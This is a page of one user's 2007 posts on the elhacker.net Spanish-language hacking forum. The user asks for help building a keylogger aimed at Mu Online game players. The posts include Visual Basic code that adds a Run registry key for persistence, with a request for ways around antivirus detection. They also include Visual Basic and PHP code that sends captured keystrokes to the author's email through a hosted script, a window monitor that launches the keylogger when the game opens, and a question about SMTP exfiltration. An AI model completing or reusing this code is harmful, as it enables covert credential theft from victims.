elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: [1]
1  Programación / Programación Visual Basic / [Ayuda] Bot para juego online en: 7 Julio 2007, 16:25 pm
Estoy haciendo uno bot para el Mu Online, useando el comand mouse_move, cuando esttoy testando el bot en la ventana del windows, funciona perfeitamiente, pero que cuando yo entro en el Mu, el mouse cursor no segue las ordens del programa...

alguno puede me hablar o que estas aconteciendo??
2  Programación / Programación Visual Basic / Duda con add reg run en: 26 Junio 2007, 23:47 pm
Estoy haciendo um executable para anadir una clave en el registro, pero que cuando testo el, se has detectado por los antivirus, tiene alguna otra forma de anadir una clave en el registro?

Eso es mi projecto, pero que se has detectable...

Private Sub Form_Load()
Dim Objeto As Object, H As Long
Set Objeto = CreateObject("WScript.Shell")
Objeto.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "monit", "C:\windows\system32\monit.exe"
Timer1.Enabled = True
End Sub


Salu2
3  Programación / PHP / Ayuda con php en: 25 Junio 2007, 22:44 pm
Estoy haciendo mi keylogger, pero que necesito montar um php que redirecione los e-mails para mi e-mail

el del visual basic eres:

Private Sub Command1_Click()
acorreo = "micorreo@hotmail.com"
asunto = "name"
mensaje = textkey
nombre = "Keylogger"
decorreo = "nombre"
pagina = "la pagina que hospeda mi  php"
pagina = pagina & "acorreo=" & acorreo
pagina = pagina & "&asunto=" & asunto
pagina = pagina & "&mensaje=" & mensaje
pagina = pagina & "&nombre=" & nombre
pagina = pagina & "&decorreo=" & decorreo
WebBrowser1.Navigate pagina
End Sub

E en php eres:

<?php
$datos=$_GET;
$acorreo=$datos['acorreo'];
$asunto=$datos['asunto'];
$mensaje=$datos['mensaje'];
$nombre=$datos['nombre'];
$decorreo=$datos['decorreo'];
mail($acorreo,$asunto,$mensaje,"From: $nombre <$decorreo>");
echo "Correo enviado.";
?>

Pero que no se nada de php, alguna buena persona poderia ayudar-me??
4  Programación / Programación Visual Basic / Executar otros programas usando timer en: 24 Junio 2007, 17:42 pm
Estoy con una duda. estoy creando un programa de monitoramento de ventanas para solo executar mi keylogger con la ventana que desejo capturar, pero que estoy com una duda para executar el keylogger que eres outro executable...

Option Explicit
Const MSmu = "MU"
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
     ByVal lpClassName As String, _
    ByVal lpWindowName As String) As Long

Private Sub Timer1_Timer()
Comprobar MSmu
End Sub

Private Sub Comprobar(clase As String)

Dim ret As Long
   
    ' busca la ventana y retorna el Handle
    ret = FindWindow(clase, vbNullString)
   
    'si retorna distinto _
     de 0 es porque la encontró
     If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True
   LA FUNCION PARA EXECUTAR EL KEYLOGGER QUE ESTA EN EL C:\WINDOWS\SYSTEM32\KEYLOGGER.EXE

    Else
      Timer1.Enabled = True
      Timer2.Enabled = False
      End If
   
End Sub


Private Sub Form_Load()
  Timer1.Enabled = True
  Timer2.Enabled = False
  Timer1.Interval = 10000
  Timer2.Interval = 10000
End Sub


Private Sub Timer2_Timer()
Comproba MSmu
End Sub


Private Sub Comproba(clase As String)

Dim ret As Long
   
    ' busca la ventana y retorna el Handle
    ret = FindWindow(clase, vbNullString)
   
    'si retorna distinto _
     de 0 es porque la encontró
    If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True
 
    Else
      Timer1.Enabled = True
      Timer2.Enabled = False
  End If
   
End Sub



eres una simples duda.
Ya tente shell y otros, pero que no executa >.<
5  Programación / Programación Visual Basic / cerrar aplicacion usando timer en: 24 Junio 2007, 01:52 am
Yo necesito que mi programa execute solo 3 minutos, e en seguida cerre lá aplicacion, pero que la aplicacion no es serrada ...

Mirem el source

Private Sub Timer1_Timer()
Timer1.Interval = 60000
Timer2.Enabled = True
Timer1.Enabled = False
End Sub

Private Sub Timer2_Timer()
Timer2.Interval = 60000
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
Timer3.Interval = 60000
Form1.Exit = True
End Sub


O que estas errado aqui?
6  Programación / Programación Visual Basic / Smtp Mail + Keylogger en: 23 Junio 2007, 16:18 pm
Estoy haciendo mi keylogger, estas cuase concluido, pero que tengo uno grande problema con el envio por smtp, ya mirei todos los exemplos del forum e nada =/

Alguien puede ayudar-me?
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines